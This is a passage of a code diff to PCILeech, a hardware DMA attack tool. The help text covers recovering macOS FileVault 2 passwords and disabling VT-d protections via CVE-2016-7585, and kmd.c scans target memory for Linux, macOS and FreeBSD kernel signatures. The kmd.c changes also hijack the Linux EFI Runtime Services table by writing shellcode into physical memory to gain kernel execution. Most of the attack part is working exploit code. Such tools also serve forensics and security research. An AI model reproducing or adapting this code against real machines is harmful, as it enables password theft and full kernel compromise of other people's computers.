" the target system is mapped into the file: liveram.raw. Writing to the live\n" \
|
||||
" memory may crash the target system. Use with care. Copying files and dumping\n" \
|
||||
" memory via the PCILeech virtual file system will work but the performance will\n" \
|
||||
" be better when using the built in commandline commands when performing actions\n" \
|
||||
" like the ones mentioned above. \n" \
|
||||
" EXAMPLES: (example kernel module is loaded at address 0x7fffe000) \n" \
|
||||
" 1) mount file system and live RAM of target as the default K: drive letter. \n" \
|
||||
" pcileech mount -kmd 0x7fffe000 \n" \
|
||||
" 2) mount file system and live RAM of target as X: drive letter. \n" \
|
||||
" pcileech mount -kmd 0x7fffe000 -s X \n");
|
||||
break;
|
||||
case PAGEDISPLAY:
|
||||
printf(
|
||||
" DISPLAY A MEMORY PAGE ON SCREEN. \n" \
|
||||
@@ -356,6 +398,35 @@ VOID Help_ShowDetailed(_In_ PCONFIG pCfg)
|
||||
" 1) recover the filevault 2 disk encryption password. \n" \
|
||||
" pcileech.exe mac_fvrecover \n");
|
||||
break;
|
||||
case MAC_FVRECOVER2:
|
||||
printf(
|
||||
" RECOVER FILEVAULT 2 PASSWORD FROM A macOS SYSTEM IMMEDIATELY AFTER UNLOCK. \n" \
|
||||
" MODES : DMA \n" \
|
||||
" OPTIONS : \n" \
|
||||
" Plug in the PCILeech device to any macOS system with a Thunderbolt 2 port. \n" \
|
||||
" Wait for the user to enter the filefault 2 password to unlock the computer. \n" \
|
||||
" Immediately after unlock VT-d DMA protections are dropped for a short while \n" \
|
||||
" and the password can be recovered in a similar way to the MAV_FVRECOVER \n" \
|
||||
" command. (CVE-2016-7585). \n" \
|
||||
" EXAMPLES: \n" \
|
||||
" 1) recover the filevault 2 disk encryption password immediately after unlock. \n" \
|
||||
" pcileech.exe mac_fvrecover2 \n");
|
||||
break;
|
||||
case MAC_DISABLE_VTD:
|
||||
printf(
|
||||
" DISABLE Vt-d DMA PROTECTIONS IMMEDIATELY AFTER macOS BOOT. \n" \
|
||||
" MODES : DMA \n" \
|
||||
" OPTIONS : \n" \
|
||||
" Plug in the PCILeech device to any macOS system with a Thunderbolt 2 port. \n" \
|
||||
" Wait for the user to enter the filefault 2 password to unlock the computer. \n" \
|
||||
" Immediately after unlock VT-d DMA protections are dropped for a short while \n" \
|
||||
" and it is possible to disable the in-memory DMAR ACPI table - which results \n" \
|
||||
" in completely disabled VT-d protections until the computer is rebooted. \n" \
|
||||
" (CVE-2016-7585). \n" \
|
||||
" EXAMPLES: \n" \
|
||||
" 1) disable Vt-d DMA protections immediately after macOS boot. \n" \
|
||||
" pcileech.exe mac_disablevtd \n");
|
||||
break;
|
||||
case PT_PHYS2VIRT:
|
||||
printf(
|
||||
" SEARCH FOR VIRTUAL ADDRESS MAPPED TO GIVEN PHYSICAL ADDRESS. \n" \
|
||||
@@ -370,6 +441,20 @@ VOID Help_ShowDetailed(_In_ PCONFIG pCfg)
|
||||
" (PML4) base at: 0x1aa000. \n" \
|
||||
" pcileech.exe pt_phys2virt -cr3 0x1aa000 -0 0xfed90000 \n");
|
||||
break;
|
||||
case TLP:
|
||||
printf(
|
||||
" TRANSMIT AND RECEIVE RAW PCIe TLPs \n" \
|
||||
" MODES : DMA \n" \
|
||||
" OPTIONS : -in, -vv, -wait \n" \
|
||||
" Transmit and receive PCIe TLPs. Requires supported devices such as the SP605. \n" \
|
||||
" The USB3380 is not a supported device. Multiple TLPs may be stacked. If not \n" \
|
||||
" specifying an -in parameter no TLP will be sent. Specify the -vv setting to \n" \
|
||||
" display received and sent TLPs. The default listen time is 0.5s, if a longer \n" \
|
||||
" listen time is required specify it with the -wait parameter. \n" \
|
||||
" EXAMPLEs: \n" \
|
||||
" 1) Listen for incoming TLPs for 10s: \n" \
|
||||
" pcileech.exe -vv -wait 10 \n");
|
||||
break;
|
||||
case EXEC:
|
||||
_HelpShowExecCommand(pCfg);
|
||||
break;
|
||||
|
||||
484
pcileech/kmd.c
484
pcileech/kmd.c
@@ -9,7 +9,7 @@
|
||||
#include "executor.h"
|
||||
|
||||
typedef struct tdKMDHANDLE_S12 {
|
||||
DWORD dwPageAddr32;
|
||||
QWORD qwPageAddr;
|
||||
DWORD dwPageOffset;
|
||||
BYTE pbOrig[4096];
|
||||
BYTE pbPatch[4096];
|
||||
@@ -33,14 +33,14 @@ typedef struct tdKERNELSEEKER {
|
||||
#define STAGE2_OFFSET_FN_STAGE1_ORIG 8
|
||||
#define STAGE2_OFFSET_EXTRADATA1 16
|
||||
|
||||
BOOL KMD_GetPhysicalMemoryMap(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _Inout_ PKMDHANDLE phKMD);
|
||||
BOOL KMD_SetupStage3(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In_ DWORD dwPhysicalAddress, _In_ PBYTE pbStage3, _In_ DWORD cbStage3);
|
||||
BOOL KMD_GetPhysicalMemoryMap(_Inout_ PPCILEECH_CONTEXT ctx);
|
||||
BOOL KMD_SetupStage3(_Inout_ PPCILEECH_CONTEXT ctx, _In_ DWORD dwPhysicalAddress, _In_ PBYTE pbStage3, _In_ DWORD cbStage3);
|
||||
|
||||
//-------------------------------------------------------------------------------
|
||||
// Signature mathing below.
|
||||
//-------------------------------------------------------------------------------
|
||||
|
||||
HRESULT KMD_FindSignature2(_Inout_ PBYTE pbPages, _In_ DWORD cPages, _In_ DWORD dwAddrBase, _Inout_ PSIGNATURE pSignatures, _In_ DWORD cSignatures, _Out_ PDWORD pdwSignatureMatch)
|
||||
BOOL KMD_FindSignature2(_Inout_ PBYTE pbPages, _In_ DWORD cPages, _In_ QWORD qwAddrBase, _Inout_ PSIGNATURE pSignatures, _In_ DWORD cSignatures, _Out_ PDWORD pdwSignatureMatch)
|
||||
{
|
||||
PBYTE pb;
|
||||
DWORD pgIdx, i, j;
|
||||
@@ -48,7 +48,7 @@ HRESULT KMD_FindSignature2(_Inout_ PBYTE pbPages, _In_ DWORD cPages, _In_ DWORD
|
||||
QWORD qwAddressCurrent;
|
||||
for(pgIdx = 0; pgIdx < cPages; pgIdx++) {
|
||||
pb = pbPages + (4096 * pgIdx);
|
||||
qwAddressCurrent = dwAddrBase + (4096 * pgIdx);
|
||||
qwAddressCurrent = qwAddrBase + (4096 * pgIdx);
|
||||
for(i = 0; i < cSignatures; i++) {
|
||||
ps = pSignatures + i;
|
||||
for(j = 0; j < 2; j++) {
|
||||
@@ -66,18 +66,18 @@ HRESULT KMD_FindSignature2(_Inout_ PBYTE pbPages, _In_ DWORD cPages, _In_ DWORD
|
||||
}
|
||||
if(ps->chunk[0].qwAddress && ps->chunk[1].qwAddress) {
|
||||
*pdwSignatureMatch = i;
|
||||
return S_OK;
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
}
|
||||
return E_FAIL;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
HRESULT KMD_FindSignature1(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _Inout_ PSIGNATURE pSignatures, _In_ DWORD cSignatures, _Out_ PDWORD pdwSignatureMatchIdx)
|
||||
BOOL KMD_FindSignature1(_Inout_ PPCILEECH_CONTEXT ctx, _Inout_ PSIGNATURE pSignatures, _In_ DWORD cSignatures, _Out_ PDWORD pdwSignatureMatchIdx)
|
||||
{
|
||||
QWORD i, qwAddrMax, qwAddrCurrent = 0x100000;
|
||||
PBYTE pbBuffer8M;
|
||||
HRESULT hr;
|
||||
BOOL result;
|
||||
PAGE_STATISTICS pageStat;
|
||||
// special case (fixed memory location && zero signature byte length)
|
||||
for(i = 0; i < cSignatures; i++) {
|
||||
@@ -89,21 +89,21 @@ HRESULT KMD_FindSignature1(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In
|
||||
}
|
||||
// initialize / allocate memory / load signatures
|
||||
if(!(pbBuffer8M = LocalAlloc(0, 0x800000))) {
|
||||
return E_OUTOFMEMORY;
|
||||
return FALSE;
|
||||
}
|
||||
// loop kmd-find
|
||||
qwAddrMax = min(pCfg->qwAddrMax, 0xffffffff);
|
||||
qwAddrMax = min(ctx->cfg->qwAddrMax, ((ctx->cfg->tpDevice == PCILEECH_DEVICE_USB3380) ? 0xffffffffUL : 0x0000ffffffffffffULL));
|
||||
PageStatInitialize(&pageStat, qwAddrCurrent, qwAddrMax, "Searching for KMD location", FALSE, FALSE);
|
||||
while(qwAddrCurrent < qwAddrMax) {
|
||||
pageStat.qwAddr = qwAddrCurrent;
|
||||
if(DeviceReadDMA(pDeviceData, (DWORD)qwAddrCurrent, pbBuffer8M, 0x800000, 0)) {
|
||||
if(DeviceReadDMA(ctx, qwAddrCurrent, pbBuffer8M, 0x800000, 0)) {
|
||||
pageStat.cPageSuccess += 2048;
|
||||
hr = KMD_FindSignature2(pbBuffer8M, 2048, (DWORD)qwAddrCurrent, pSignatures, cSignatures, pdwSignatureMatchIdx);
|
||||
if(SUCCEEDED(hr)) {
|
||||
result = KMD_FindSignature2(pbBuffer8M, 2048, qwAddrCurrent, pSignatures, cSignatures, pdwSignatureMatchIdx);
|
||||
if(result) {
|
||||
LocalFree(pbBuffer8M);
|
||||
pageStat.szAction = "Waiting for KMD to activate";
|
||||
PageStatClose(&pageStat);
|
||||
return S_OK;
|
||||
return TRUE;
|
||||
}
|
||||
} else {
|
||||
pageStat.cPageFail += 2048;
|
||||
@@ -112,13 +112,13 @@ HRESULT KMD_FindSignature1(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In
|
||||
}
|
||||
LocalFree(pbBuffer8M);
|
||||
PageStatClose(&pageStat);
|
||||
return E_FAIL;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// EFI RUNTIME SERVICES TABLE SIGNATURE (see UEFI specification (2.6) for detailed information).
|
||||
#define IS_SIGNATURE_EFI_RUNTIME_SERVICES(pb) ((*(PQWORD)(pb) == 0x56524553544e5552) && (*(PDWORD)(pb + 12) == 0x88) && (*(PDWORD)(pb + 20) == 0))
|
||||
|
||||
BOOL KMD_FindSignature_EfiRuntimeServices(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _Out_ PQWORD pqwAddrPhys)
|
||||
BOOL KMD_FindSignature_EfiRuntimeServices(_Inout_ PPCILEECH_CONTEXT ctx, _Out_ PQWORD pqwAddrPhys)
|
||||
{
|
||||
BOOL result = FALSE;
|
||||
QWORD o, qwCurrentAddress;
|
||||
@@ -127,16 +127,16 @@ BOOL KMD_FindSignature_EfiRuntimeServices(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA p
|
||||
if(!(pbBuffer16M = LocalAlloc(0, 0x01000000))) {
|
||||
return FALSE;
|
||||
}
|
||||
pCfg->qwAddrMin &= ~0xfff;
|
||||
pCfg->qwAddrMax = (pCfg->qwAddrMax + 1) & ~0xfff;
|
||||
if(pCfg->qwAddrMax == 0) {
|
||||
pCfg->qwAddrMax = 0x100000000;
|
||||
ctx->cfg->qwAddrMin &= ~0xfff;
|
||||
ctx->cfg->qwAddrMax = (ctx->cfg->qwAddrMax + 1) & ~0xfff;
|
||||
if(ctx->cfg->qwAddrMax == 0) {
|
||||
ctx->cfg->qwAddrMax = 0x100000000;
|
||||
}
|
||||
qwCurrentAddress = pCfg->qwAddrMin;
|
||||
PageStatInitialize(&pageStat, pCfg->qwAddrMin, pCfg->qwAddrMax, "Searching for EFI Runtime Services", pDeviceData->KMDHandle ? TRUE : FALSE, pCfg->fVerbose);
|
||||
while(qwCurrentAddress < pCfg->qwAddrMax) {
|
||||
result = Util_Read16M(pCfg, pDeviceData, pbBuffer16M, qwCurrentAddress, &pageStat);
|
||||
if(!result && !pCfg->fForceRW && !pDeviceData->KMDHandle) {
|
||||
qwCurrentAddress = ctx->cfg->qwAddrMin;
|
||||
PageStatInitialize(&pageStat, ctx->cfg->qwAddrMin, ctx->cfg->qwAddrMax, "Searching for EFI Runtime Services", ctx->phKMD ? TRUE : FALSE, ctx->cfg->fVerbose);
|
||||
while(qwCurrentAddress < ctx->cfg->qwAddrMax) {
|
||||
result = Util_Read16M(ctx, pbBuffer16M, qwCurrentAddress, &pageStat);
|
||||
if(!result && !ctx->cfg->fForceRW && !ctx->phKMD) {
|
||||
goto cleanup;
|
||||
}
|
||||
for(o = 0x18; o < 0x01000000 - 0x88; o += 8) {
|
||||
@@ -176,13 +176,13 @@ BOOL KMD_MacOSIsKernelAddress(_In_ PBYTE pbPage)
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
BOOL KMD_MacOSKernelGetBase(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _Out_ PDWORD pdwKernelBase, _Out_ PDWORD pdwTextHIB, _Out_ PDWORD pcbTextHIB)
|
||||
BOOL KMD_MacOSKernelGetBase(_Inout_ PPCILEECH_CONTEXT ctx, _Out_ PDWORD pdwKernelBase, _Out_ PDWORD pdwTextHIB, _Out_ PDWORD pcbTextHIB)
|
||||
{
|
||||
BYTE pbPage[4096];
|
||||
DWORD i, cKSlide;
|
||||
for(cKSlide = 1; cKSlide <= 512; cKSlide++) {
|
||||
*pdwKernelBase = cKSlide * 0x00200000; // KASLR = ([RND:1..512] * 0x00200000)
|
||||
if(!DeviceReadDMA(pDeviceData, *pdwKernelBase, pbPage, 4096, PCILEECH_MEM_FLAG_RETRYONFAIL)) {
|
||||
if(!DeviceReadDMA(ctx, *pdwKernelBase, pbPage, 4096, PCILEECH_MEM_FLAG_RETRYONFAIL)) {
|
||||
printf("KMD: Failed. Error reading address: 0x%08x\n", *pdwKernelBase);
|
||||
return FALSE;
|
||||
}
|
||||
@@ -199,18 +199,18 @@ BOOL KMD_MacOSKernelGetBase(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _O
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
BOOL KMD_MacOSKernelSeekSignature(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _Out_ PSIGNATURE pSignature)
|
||||
BOOL KMD_MacOSKernelSeekSignature(_Inout_ PPCILEECH_CONTEXT ctx, _Out_ PSIGNATURE pSignature)
|
||||
{
|
||||
const BYTE SIGNATURE_BCOPY[] = { 0x48, 0x87, 0xF7, 0x48, 0x89, 0xD1, 0x48, 0x89, 0xF8, 0x48, 0x29, 0xF0, 0x48, 0x39, 0xC8, 0x72 };
|
||||
DWORD i, dwKernelBase, dwTextHIB, cbTextHIB;
|
||||
PBYTE pbTextHIB;
|
||||
if(!KMD_MacOSKernelGetBase(pCfg, pDeviceData, &dwKernelBase, &dwTextHIB, &cbTextHIB)) {
|
||||
if(!KMD_MacOSKernelGetBase(ctx, &dwKernelBase, &dwTextHIB, &cbTextHIB)) {
|
||||
return FALSE;
|
||||
}
|
||||
cbTextHIB = (cbTextHIB + 0xfff) & 0xfffff000;
|
||||
pbTextHIB = LocalAlloc(0, cbTextHIB);
|
||||
if(!pbTextHIB) { return FALSE; }
|
||||
if(!DeviceReadDMA(pDeviceData, dwTextHIB, pbTextHIB, cbTextHIB, PCILEECH_MEM_FLAG_RETRYONFAIL)) {
|
||||
if(!DeviceReadDMA(ctx, dwTextHIB, pbTextHIB, cbTextHIB, PCILEECH_MEM_FLAG_RETRYONFAIL)) {
|
||||
LocalFree(pbTextHIB);
|
||||
return FALSE;
|
||||
}
|
||||
@@ -229,13 +229,13 @@ BOOL KMD_MacOSKernelSeekSignature(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceDa
|
||||
// FreeBSD generic kernel seek below.
|
||||
//-------------------------------------------------------------------------------
|
||||
|
||||
BOOL KMD_FreeBSDKernelSeekSignature(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _Out_ PSIGNATURE pSignature)
|
||||
BOOL KMD_FreeBSDKernelSeekSignature(_Inout_ PPCILEECH_CONTEXT ctx, _Out_ PSIGNATURE pSignature)
|
||||
{
|
||||
DWORD i, dwo_memcpy_str, dwo_strtab, dwa_memcpy;
|
||||
PBYTE pb64M = LocalAlloc(LMEM_ZEROINIT, 0x04000000);
|
||||
if(!pb64M) { return FALSE; }
|
||||
for(i = 0x01000000; i < 0x04000000; i += 0x01000000) {
|
||||
DeviceReadDMA(pDeviceData, i, pb64M + i, 0x01000000, PCILEECH_MEM_FLAG_RETRYONFAIL);
|
||||
DeviceReadDMA(ctx, i, pb64M + i, 0x01000000, PCILEECH_MEM_FLAG_RETRYONFAIL);
|
||||
}
|
||||
// 1: search for string 'vn_open'
|
||||
i = 0;
|
||||
@@ -275,7 +275,9 @@ error:
|
||||
}
|
||||
|
||||
//-------------------------------------------------------------------------------
|
||||
// LINUX generic kernel seek below. (pre 4.8 kernel versions).
|
||||
// LINUX generic kernel seek below. Comes in two versions:
|
||||
// 4.6- version that works with 32 and 64-bit addressing
|
||||
// 4.8+ version that works with 64-bit addressing, 32-bit will work too if kernel is KASLRed <4GB.
|
||||
//-------------------------------------------------------------------------------
|
||||
|
||||
BOOL KMD_LinuxIsAllAddrFoundSeek(_In_ PKERNELSEEKER pS, _In_ DWORD cS)
|
||||
@@ -339,7 +341,7 @@ BOOL KMD_LinuxFindFunctionAddrTBL(_In_ PBYTE pb, _In_ DWORD cb, _In_ PKERNELSEEK
|
||||
|
||||
#define CONFIG_LINUX_SEEK_BUFFER_SIZE 0x01000000
|
||||
#define CONFIG_LINUX_SEEK_CKSLIDES 512
|
||||
BOOL KMD_LinuxKernelSeekSignature(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _Out_ PSIGNATURE pSignature)
|
||||
BOOL KMD_Linux46KernelSeekSignature(_Inout_ PPCILEECH_CONTEXT ctx, _Out_ PSIGNATURE pSignature)
|
||||
{
|
||||
BOOL result;
|
||||
KERNELSEEKER ks[2] = {
|
||||
@@ -354,11 +356,11 @@ BOOL KMD_LinuxKernelSeekSignature(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceDa
|
||||
// read 16M of memory first, if KASLR read 2M chunks at top of analysis buffer (performance reasons).
|
||||
dwKernelBase = 0x01000000 + cKSlide * 0x00200000; // KASLR = 16M + ([RND:0..511] * 2M) ???
|
||||
if(cKSlide == 0) {
|
||||
DeviceReadDMA(pDeviceData, dwKernelBase, pb, 0x01000000, PCILEECH_MEM_FLAG_RETRYONFAIL);
|
||||
DeviceReadDMA(ctx, dwKernelBase, pb, 0x01000000, PCILEECH_MEM_FLAG_RETRYONFAIL);
|
||||
} else {
|
||||
memmove(pb, pb + 0x00200000, CONFIG_LINUX_SEEK_BUFFER_SIZE - 0x00200000);
|
||||
result = DeviceReadDMA(
|
||||
pDeviceData,
|
||||
ctx,
|
||||
dwKernelBase + CONFIG_LINUX_SEEK_BUFFER_SIZE - 0x00200000,
|
||||
pb + CONFIG_LINUX_SEEK_BUFFER_SIZE - 0x00200000,
|
||||
0x00200000,
|
||||
@@ -368,7 +370,7 @@ BOOL KMD_LinuxKernelSeekSignature(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceDa
|
||||
KMD_LinuxFindFunctionAddr(pb, CONFIG_LINUX_SEEK_BUFFER_SIZE, ks, 2) &&
|
||||
KMD_LinuxFindFunctionAddrTBL(pb, CONFIG_LINUX_SEEK_BUFFER_SIZE, ks, 2);
|
||||
if(result) {
|
||||
Util_CreateSignatureLinuxGenericPre48(dwKernelBase, ks[0].aSeek, ks[0].vaSeek, ks[0].vaFn, ks[1].vaFn, pSignature);
|
||||
Util_CreateSignatureLinuxGeneric(dwKernelBase, ks[0].aSeek, ks[0].vaSeek, ks[0].vaFn, ks[1].aSeek, ks[1].vaSeek, ks[1].vaFn, pSignature);
|
||||
break;
|
||||
}
|
||||
}
|
||||
@@ -376,11 +378,87 @@ BOOL KMD_LinuxKernelSeekSignature(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceDa
|
||||
return result;
|
||||
}
|
||||
|
||||
QWORD KMD_Linux48KernelBaseSeek(_Inout_ PPCILEECH_CONTEXT ctx)
|
||||
{
|
||||
PAGE_STATISTICS ps;
|
||||
BYTE pb[0x1000], pbCMP90[0x400], pbCMP00[0x100];
|
||||
QWORD qwA, qwAddrMax, i;
|
||||
BOOL isAuthenticAMD, isGenuineIntel;
|
||||
memset(pbCMP90, 0x90, 0x400);
|
||||
memset(pbCMP00, 0x00, 0x100);
|
||||
qwA = max(0x01000000, ctx->cfg->qwAddrMin) & 0xffffffffffe00000;
|
||||
qwAddrMax = (ctx->cfg->tpDevice == PCILEECH_DEVICE_USB3380) ?
|
||||
max(0x01000000, (ctx->cfg->qwAddrMax - 0x01000000) & 0xffe00000) :
|
||||
max(0x01000000, (ctx->cfg->qwAddrMax - 0x01000000) & 0xffffffffffe00000);
|
||||
PageStatInitialize(&ps, qwA, qwAddrMax, "Scanning for Linux kernel base", FALSE, FALSE);
|
||||
// Linux kernel uses 2MB pages. Base of kernel is assumed to have AuthenticAMD and GenuineIntel strings
|
||||
// in first page. First page should also end with at least 0x400 0x90's. 2nd page (hypercall page?) is
|
||||
// assumed to end with 0x100 0x00's.
|
||||
for(; qwA <= qwAddrMax; qwA += 0x00200000) {
|
||||
ps.qwAddr = qwA;
|
||||
if(!DeviceReadDMA(ctx, qwA, pb, ctx->cfg->fPartialPageReadSupported ? 0x400 : 0x1000, 0)) { // only read partial page to speed up SP605 if connected via UART
|
||||
ps.cPageFail += 512;
|
||||
continue;
|
||||
}
|
||||
ps.cPageSuccess += 512;
|
||||
// Search for GenuineIntel and AuthenticAMD strings.
|
||||
isGenuineIntel = isAuthenticAMD = FALSE;
|
||||
for(i = 0; i < 0x400; i++) {
|
||||
isAuthenticAMD |= ((0x68747541 == *(PDWORD)(pb + i)) && (0x69746e65 == *(PDWORD)(pb + i + 8)) && (0x444d4163 == *(PDWORD)(pb + i + 16)));
|
||||
isGenuineIntel |= ((0x756e6547 == *(PDWORD)(pb + i)) && (0x49656e69 == *(PDWORD)(pb + i + 8)) && (0x6c65746e == *(PDWORD)(pb + i + 16)));
|
||||
}
|
||||
if(!isGenuineIntel || !isAuthenticAMD) {
|
||||
continue;
|
||||
}
|
||||
// Verify that page ends with 0x400 NOPs (0x90).
|
||||
if(!DeviceReadDMA(ctx, qwA, pb, 0x1000, 0) || memcmp(pb + 0xc00, pbCMP90, 0x400)) {
|
||||
continue;
|
||||
}
|
||||
// read kernel base + 0x1000 (hypercall page?) and check that it ends with at least 0x100 0x00.
|
||||
if(!DeviceReadMEM(ctx, qwA + 0x1000, pb, 0x1000, 0) || memcmp(pb + 0xf00, pbCMP00, 0x100)) {
|
||||
continue;
|
||||
}
|
||||
PageStatClose(&ps);
|
||||
return qwA;
|
||||
}
|
||||
PageStatClose(&ps);
|
||||
return 0;
|
||||
}
|
||||
|
||||
BOOL KMD_Linux48KernelSeekSignature(_Inout_ PPCILEECH_CONTEXT ctx, _Out_ PSIGNATURE pSignature)
|
||||
{
|
||||
BOOL result;
|
||||
QWORD qwKernelBase;
|
||||
PAGE_STATISTICS ps;
|
||||
KERNELSEEKER ks[2] = {
|
||||
{ .pbSeek = "\0kallsyms_lookup_name",.cbSeek = 22 },
|
||||
{ .pbSeek = "\0vfs_read",.cbSeek = 10 }
|
||||
};
|
||||
PBYTE pb = LocalAlloc(0, 0x01000000);
|
||||
if(!pb) { return FALSE; }
|
||||
qwKernelBase = KMD_Linux48KernelBaseSeek(ctx);
|
||||
if(!qwKernelBase) {
|
||||
return FALSE;
|
||||
}
|
||||
printf("\n");
|
||||
PageStatInitialize(&ps, qwKernelBase, qwKernelBase + 0x01000000, "Verifying Linux kernel base", FALSE, FALSE);
|
||||
result =
|
||||
Util_Read16M(ctx, pb, qwKernelBase, &ps) &&
|
||||
KMD_LinuxFindFunctionAddr(pb, 0x01000000, ks, 2) &&
|
||||
KMD_LinuxFindFunctionAddrTBL(pb, 0x01000000, ks, 2);
|
||||
if(result) {
|
||||
Util_CreateSignatureLinuxGeneric(qwKernelBase, ks[0].aSeek, ks[0].vaSeek, ks[0].vaFn, ks[1].aSeek, ks[1].vaSeek, ks[1].vaFn, pSignature);
|
||||
}
|
||||
PageStatClose(&ps);
|
||||
LocalFree(pb);
|
||||
return result;
|
||||
}
|
||||
|
||||
//-------------------------------------------------------------------------------
|
||||
// LINUX EFI Runtime Services hijack.
|
||||
//-------------------------------------------------------------------------------
|
||||
|
||||
BOOL KMDOpen_LinuxEfiRuntimeServicesHijack(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData)
|
||||
BOOL KMDOpen_LinuxEfiRuntimeServicesHijack(_Inout_ PPCILEECH_CONTEXT ctx)
|
||||
{
|
||||
BOOL result;
|
||||
QWORD i, o, qwAddrEfiRt;
|
||||
@@ -390,7 +468,7 @@ BOOL KMDOpen_LinuxEfiRuntimeServicesHijack(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA
|
||||
//------------------------------------------------
|
||||
// 1: Locate and fetch EFI Runtime Services table.
|
||||
//------------------------------------------------
|
||||
result = KMD_FindSignature_EfiRuntimeServices(pCfg, pDeviceData, &qwAddrEfiRt);
|
||||
result = KMD_FindSignature_EfiRuntimeServices(ctx, &qwAddrEfiRt);
|
||||
if(!result) {
|
||||
printf("KMD: Failed. EFI Runtime Services not found.\n");
|
||||
}
|
||||
@@ -398,7 +476,7 @@ BOOL KMDOpen_LinuxEfiRuntimeServicesHijack(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA
|
||||
printf("KMD: Failed. EFI Runtime Services table located on page boundary.\n");
|
||||
return FALSE;
|
||||
}
|
||||
result = DeviceReadDMA(pDeviceData, qwAddrEfiRt & ~0xfff, pbEfiRt, 0x1000, PCILEECH_MEM_FLAG_RETRYONFAIL);
|
||||
result = DeviceReadDMA(ctx, qwAddrEfiRt & ~0xfff, pbEfiRt, 0x1000, PCILEECH_MEM_FLAG_RETRYONFAIL);
|
||||
if(!result || !IS_SIGNATURE_EFI_RUNTIME_SERVICES(pbEfiRt + (qwAddrEfiRt & 0xfff))) {
|
||||
printf("KMD: Failed. Error reading EFI Runtime Services table.\n");
|
||||
return FALSE;
|
||||
@@ -409,7 +487,7 @@ BOOL KMDOpen_LinuxEfiRuntimeServicesHijack(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA
|
||||
Util_CreateSignatureLinuxEfiRuntimeServices(&oSignature);
|
||||
*(PQWORD)(oSignature.chunk[3].pb + 0x28) = qwAddrEfiRt; // 0x28 == offset data_addr_runtserv.
|
||||
memcpy(oSignature.chunk[3].pb + 0x30, pbEfiRt + (qwAddrEfiRt & 0xfff) + 0x18, 0x70); // 0x30 == offset data_runtserv_table_fn.
|
||||
result = DeviceReadDMA(pDeviceData, 0, pbOrig, 0x1000, PCILEECH_MEM_FLAG_RETRYONFAIL);
|
||||
result = DeviceReadDMA(ctx, 0, pbOrig, 0x1000, PCILEECH_MEM_FLAG_RETRYONFAIL);
|
||||
if(!result) {
|
||||
printf("KMD: Failed. Error reading at address 0x0.\n");
|
||||
return FALSE;
|
||||
@@ -417,12 +495,12 @@ BOOL KMDOpen_LinuxEfiRuntimeServicesHijack(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA
|
||||
//------------------------------------------------
|
||||
// 3: Patch wait to reveive execution of EFI code.
|
||||
//------------------------------------------------
|
||||
DeviceWriteDMA(pDeviceData, 0, oSignature.chunk[3].pb, 0x1000, PCILEECH_MEM_FLAG_RETRYONFAIL);
|
||||
DeviceWriteDMA(ctx, 0, oSignature.chunk[3].pb, 0x1000, PCILEECH_MEM_FLAG_RETRYONFAIL);
|
||||
for(i = 0; i < 14; i++) {
|
||||
o = (qwAddrEfiRt & 0xfff) + 0x18 + 8 * i; // 14 tbl entries of 64-bit/8-byte size.
|
||||
*(PQWORD)(pbEfiRt + o) = 0x100 + 2 * i; // each PUSH in receiving slide is 2 bytes, offset to code = 0x100.
|
||||
}
|
||||
DeviceWriteDMA(pDeviceData, qwAddrEfiRt, pbEfiRt + (qwAddrEfiRt & 0xfff), 0x88 /* 0x18 hdr, 0x70 fntbl */, PCILEECH_MEM_FLAG_RETRYONFAIL);
|
||||
DeviceWriteDMA(ctx, qwAddrEfiRt, pbEfiRt + (qwAddrEfiRt & 0xfff), 0x88 /* 0x18 hdr, 0x70 fntbl */, PCILEECH_MEM_FLAG_RETRYONFAIL);
|
||||
memset(pb, 0, 0x1000);
|
||||
pdwPhysicalAddress = (PDWORD)(pb + 0x20); // 0x20 == offset data_phys_addr_alloc.
|
||||
printf(
|
||||
@@ -431,8 +509,8 @@ BOOL KMDOpen_LinuxEfiRuntimeServicesHijack(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA
|
||||
" Ubuntu graphical lock screen may trigger EFI Runtime Services call.\n");
|
||||
do {
|
||||
Sleep(100);
|
||||
if(!DeviceReadDMA(pDeviceData, 0, pb, 0x1000, PCILEECH_MEM_FLAG_RETRYONFAIL)) {
|
||||
Util_WaitForPowerCycle(pCfg, pDeviceData);
|
||||
if(!DeviceReadDMA(ctx, 0, pb, 0x1000, PCILEECH_MEM_FLAG_RETRYONFAIL)) {
|
||||
Util_WaitForPowerCycle(ctx);
|
||||
printf("KMD: Resume waiting to receive execution.\n");
|
||||
}
|
||||
} while(!*pdwPhysicalAddress);
|
||||
@@ -441,12 +519,12 @@ BOOL KMDOpen_LinuxEfiRuntimeServicesHijack(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA
|
||||
//------------------------------------------------
|
||||
// 4: Restore EFI Runtime Services shellcode and move on to 2nd buffer.
|
||||
//------------------------------------------------
|
||||
DeviceWriteDMA(pDeviceData, 0, pbOrig, 0x1000, 0);
|
||||
DeviceWriteDMA(ctx, 0, pbOrig, 0x1000, 0);
|
||||
memset(pb, 0, 0x1000);
|
||||
printf("KMD: Waiting to receive execution.\n");
|
||||
do {
|
||||
Sleep(100);
|
||||
